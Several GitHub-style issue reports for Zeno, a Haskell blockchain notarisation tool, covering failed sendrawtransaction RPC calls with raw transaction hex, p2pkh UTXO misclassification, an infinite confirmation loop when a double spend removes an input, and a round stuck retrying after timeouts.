[11:33:22][Error] Json RPC: (http://127.0.0.1:26784/,"{\"jsonrpc\":\"2.0\",\"params\":[\"0400008085202f8904d0e4e3486ea970daa1cb3c97216f96ea5ff6257a71ac2d43c7cb7e37d04dbc4b0b0000004847304402207a21d81ef7ae31fdb5c6aa1ef1e255db30da05fbc0a79fbf7594bcade7867b6802202acd7b154f0ff3e422621c99229a93319eb1d8e2559a2f3e1a05ca877bb8fe5801ffffffffadc794c003fb63b4c1fd3e16c58a7056961d39bf73bcd4805d9f6d0910d2e9370200000049483045022100b1fc3878a851565fc7f77f0cd58007181b4dc3572b2922522266d683dd8e3be10220717da620c69756d385e8e1998cea6c540075716ac6248318ac6d62b78f95dda501ffffffffc7eb8403b264e00a26eb12f7da32eaec6cf1e9c5aea45ad3af55bdc682b24ecc0700000049483045022100c228003fc4756ac7e1fd7ba98bfacac7c8510e67a3326ad4a8e5f59a432b420b02202c88749297fb8c425c445127b5b0cf2aaafe219fa0ca9b0cc26744b0674987ee01ffffffffc26d4f623ce94a88c59fbcec3a8386cf6bf5d18ef7111943050174181755045e080000004847304402202fec611cb1633a3e4baf777be0fabcc54bc41b9277efac141f3c6ede5ee2b61f02203dec00147053e6126abff07b5f6a19e1a352e4f3252e7986884b06a2df71f15701ffffffff027a260000000000002321020e46e79a2a8d12b9b5d12c7a91adb4e454edfae43c0a0cb805427d2ac7613fd9ac0000000000000000736a4c7036d359ed61aca65e663911df53e2d21eb39e41cb6c826f7bcbc35baa4312ca00fc300000007be60200000000000000000000000000000000000000000000000000000000545853434c5a330000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"],\"method\":\"sendrawtransaction\",\"id\":1}")
[11:33:22][Error] Thread "Round c4487523801e (ROPSTEN.8119810 ⇒  TXSCLZ3)" died with: RPCException "{\"code\":-26,\"message\":\"16: mandatory-script-verify-flag-failed (Script evaluated without error but finished with a false/empty top stack element)\"}"
[11:33:22][Warn] RPCException "{\"code\":-26,\"message\":\"16: mandatory-script-verify-flag-failed (Script evaluated without error but finished with a false/empty top stack element)\"}"

I experienced this on my TXSCLZ3 node. I believe it indicates an issue with one of the signatures.

Must filter out p2pkh UTXOs from listunspent

Zeno can be confused by 0.0000985 p2pkh utxos. If it's in listunspent output and has size 0.0000985, it will assume it is p2pk. When it tries to spend a 0.0000985 p2pkh UTXO in a notarization, the notarization will fail with:

[17:13:06][Info] Broadcast transaction: "4060bad180f7b4443d9feaa9b35c7ed13ec739ef42b5a92c74d6b59089d9fa0d"
[17:13:06][rpc] Error during request: http://127.0.0.1:31992/ {"jsonrpc":"2.0","params":["0400008085202f8902dbc0116d2863d0a0c27428f8cc10f1236542121221479c0e3110b7fccaff8dcc0100000048473044022025ea56736dba8d8f7ff9c7b96fa7cac3996ec5ec4f6e5eefdfc48661f7a2df4202201c75cb389c64de222a89b4a2a4ec3b5219ff4d41d471d443f05118c2c9c46ca801ffffffff2b8420a57da3712987ea1c2e1d2b7a2084792ab2e9c3744c766a0a803d49437804000000484730440220530e5c3d2a327a263d02d90eadefb924dc43773701fdfa40a08469a835db444f02202eb1ad50c92ce36dd6955f515b978764dae2d9caff5cccf7459d429bcde3f77901ffffffff027a260000000000002321020e46e79a2a8d12b9b5d12c7a91adb4e454edfae43c0a0cb805427d2ac7613fd9ac0000000000000000736a4c7024dd697f5112f1bd7893aaab02dbd2fec730d2d5ca0f7b7b0775796a9380f60023250000007c87f6747005e91375094d1d6de4fa5b1962d45aeb650d0000000000000000545853434c4d450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"],"method":"sendrawtransaction","id":1}
[17:13:06][Error] Thread "Round c14f853161ad (ROPSTEN.8161270 ⇒  TXSCLME)" died with: RPCError: {"code":-25,"message":""}
[17:13:06][Error] RPCError: {"code":-25,"message":""}

Authenticate all consensus messages

Check for failed transactions due to double spends

zeno/src/Network/Bitcoin.hs

Lines 58 to 68 in fa13a8f

	bitcoinSubmitTxSync :: Has BitcoinConfig r => Int -> SaplingTx -> Zeno r H.TxHash
	bitcoinSubmitTxSync confirmations tx = do
	txid <- queryBitcoin "sendrawtransaction" [tx]
	fix $ \f -> do
	threadDelay 5000000
	rawtx <- queryBitcoin "getrawtransaction" (txid, 1::Int)
	case rawtx .? "{confirmations}" of
	Nothing -> f
	Just (n::Int) -> if n < confirmations then f else pure txid

There's currently a possibility for the submit to return OK, but then a double spend to occur (accidentally or otherwise) and take out one of the inputs. getrawtransaction won't indicate that there's a problem in this case, so it'll loop forever. This should be made more robust, by repeatedly calling submitrawtransaction, or some other way, that would give indication in the case of a double spend.

Zeno gets stuck on a round

[00:54:47][Debug] Found notarisation on ETH for TXSCLZ3 height 1851
[00:54:47][Debug] Backnotarisation not found, proceed to backnotarise
[00:55:17][Info] Timeout: Round 7fc88f98350b (eth ⇒  kmd)
[00:55:21][Debug] Found notarisation on ETH for TXSCLZ3 height 1851
[00:55:21][Debug] Backnotarisation not found, proceed to backnotarise
[00:55:51][Info] Timeout: Round 7fc88f98350b (eth ⇒  kmd)
[00:55:55][Debug] Found notarisation on ETH for TXSCLZ3 height 1851
[00:55:55][Debug] Backnotarisation not found, proceed to backnotarise
[00:56:25][Info] Timeout: Round 7fc88f98350b (eth ⇒  kmd)
[00:56:29][Debug] Found notarisation on ETH for TXSCLZ3 height 1851
[00:56:29][Debug] Backnotarisation not found, proceed to backnotarise
[00:56:45][Warn] Komodo RPC call "listunspent 1 99999999" took 209 ms
[00:57:00][Info] Timeout: Round 7fc88f98350b (eth ⇒  kmd)
[00:57:04][Debug] Found notarisation on ETH for TXSCLZ3 height 1851
[00:57:04][Debug] Backnotarisation not found, proceed to backnotarise
[00:57:04][Warn] Komodo RPC call "listunspent 1 99999999" took 213 ms
[00:57:34][Info] Timeout: Round 7fc88f98350b (eth ⇒  kmd)

Seed inputs are too fixed, keeps trying the same failed round over and over. It should use a current block height as an extra input.